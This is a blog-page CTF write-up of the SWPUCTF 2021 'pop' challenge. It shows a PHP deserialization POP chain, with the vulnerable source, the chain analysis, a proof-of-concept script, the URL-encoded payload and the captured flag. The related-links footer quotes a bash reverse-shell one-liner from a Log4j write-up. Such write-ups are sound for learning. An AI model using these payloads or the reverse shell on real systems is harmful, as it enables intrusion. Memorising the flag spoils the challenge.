首页 > 其他分享 >[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

时间:2023-08-04 16:14:35浏览次数:35  
标签:w00m SWPUCTF 22% w22m 3A% echo pop 2021 3A4%

题目源码

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

解题分析

pop链构造从魔术方法入手

通过反推得到 w22m中的destruct是第一个利用点

在该函数利用下 会通过echo输出

输出什么内容不要紧 最重要的是输出的这个行为 等于是将数据变成了string类型的字符串

这样就会触发到w33m中的tostring函数

该函数会触发动态调用方法

$this->w00m是一个对象,而$this->w22m则是该对象的一个属性名。
代码中使用了动态方法调用语法,通过->{$this->w22m}()可以调用 $this->w00m对象的某个方法。

那么 通过构造具体的方法名 可以去触发Getflag方法 也就是说这里可以将{$this->w22m}()的值设为Getflag就行

另外还需要注意这里存在protect属性 最后要url编码防止报错

POC

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

得到payload

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

传参得到flag

NSSCTF{bd41570c-ef1f-44b6-bed4-78b8f31b0749}

标签:w00m,SWPUCTF,22%,w22m,3A%,echo,pop,2021,3A4%
From: https://www.cnblogs.com/Tzyyyyy/p/17606226.html

相关文章

  • Minitab 2021 - 统计分析管理软件
    Minitab2021是一款功能强大的统计分析管理软件,广泛应用于质量管理、数据分析、实验设计和质量改进等领域。点击获取Minitab2021 数据导入和管理:Minitab2021提供了灵活的数据导入和管理功能,可以导入各种常见格式的数据文件,如文本文件、Excel表格、数据库等。用户可以......
  • AndroidStudio2021.3logcat工具无法显示日志解决办法
    AndroidStudio2021.3logcat工具无法显示日志解决办法 https://blog.csdn.net/weixin_43623271/article/details/127876964  1.File->setting2.搜索logcat,->ExperimentalunChkEnablenewLogcattoolwindow以后提示时Dismissit ......
  • 在行:真想见,不如付点钱 Late2021
    2020更新:666的聊天已下线,1666的还在......
  • 7DGroup 性能/测试开发/运维 系列文章更新(2021/8)
    组织织简介1、7DGroup简介性能能闲谈1、浅谈window桌面GUI技术及图像渲染性能测试实践2、杂谈:性能测试的范围到底有多大?3、戏说CPU使用率-驳《CPU使用率度量指标是扯淡!》译文标题4、对性能测试评估分析优化市场的反思5、泛谈系统级跟踪和应用级跟踪6、性能测试分析优化该有的范围7......
  • 7DGroup 性能/测试开发/运维 系列文章更新(2021/10)
    组织织简介1、7DGroup简介2、【付费征文】7DGroup长期征集原创文章性能能闲谈1、浅谈window桌面GUI技术及图像渲染性能测试实践2、杂谈:性能测试的范围到底有多大?3、戏说CPU使用率-驳《CPU使用率度量指标是扯淡!》译文标题4、对性能测试评估分析优化市场的反思5、泛谈系统级跟踪和应......
  • 2021年电工证模拟考试试题及答案(完整版),逢考必过神器!
    俗话说:工欲善其事必先利其器!持证上岗,考取电工证是成为一名优秀电工的第一步。近来,很多电工同行在后台询问小编有没有2021年电工考试试题及答案,故小编花了很大的精力整理出一份电工自测考题。本份试卷共80道题目,包含10道判断题、50道选择题和20道多选题,完全模拟电工证考试......
  • CVE-2021-44228 Apache log4j2远程代码执行漏洞
     漏洞复现验证是否存在apachelog4j2漏洞https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0反弹shellbash-i>&/dev/tcp/ip/port0>&1将此命令进行javaruntimebash编码https://www.jackson-t.ca/runtime-exec-payloads.htmljava-jarjndi-injectio......
  • 【THM】OWASP 前10名—2021
    参考链接:https://www.cnblogs.com/Hekeats-L/p/16964401.html介绍该房间对每个OWASP主题进行了详细分析,并包含有关漏洞、它们如何发生以及如何利用它们的详细信息。您将通过完成支持性挑战将理论付诸实践。访问控制损坏加密失败注射不安全的设计安全配置错误易受攻击......
  • 【专题】2021-2022年中国母婴行业新媒体营销价值研究报告PDF合集分享(附原数据表)
    报告链接:http://tecdat.cn/?p=31424人口出生红利消失,以及后疫情时代的冲击,但消费升级将负面因素拉平,母婴消费市场总量持续稳步上升。"精致妈妈"的营销价值日益凸显。阅读原文,获取专题报告合集全文,解锁文末56份母婴行业相关报告。当母婴人群成为众多母婴及家庭消费品的重要入口群......
  • Vulnhub: BlueMoon: 2021靶机
    kali:192.168.111.111靶机:192.168.111.174信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.17480端口目录爆破,发现文件:hidden_textgobusterdir-uhttp://192.168.111.174-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-m......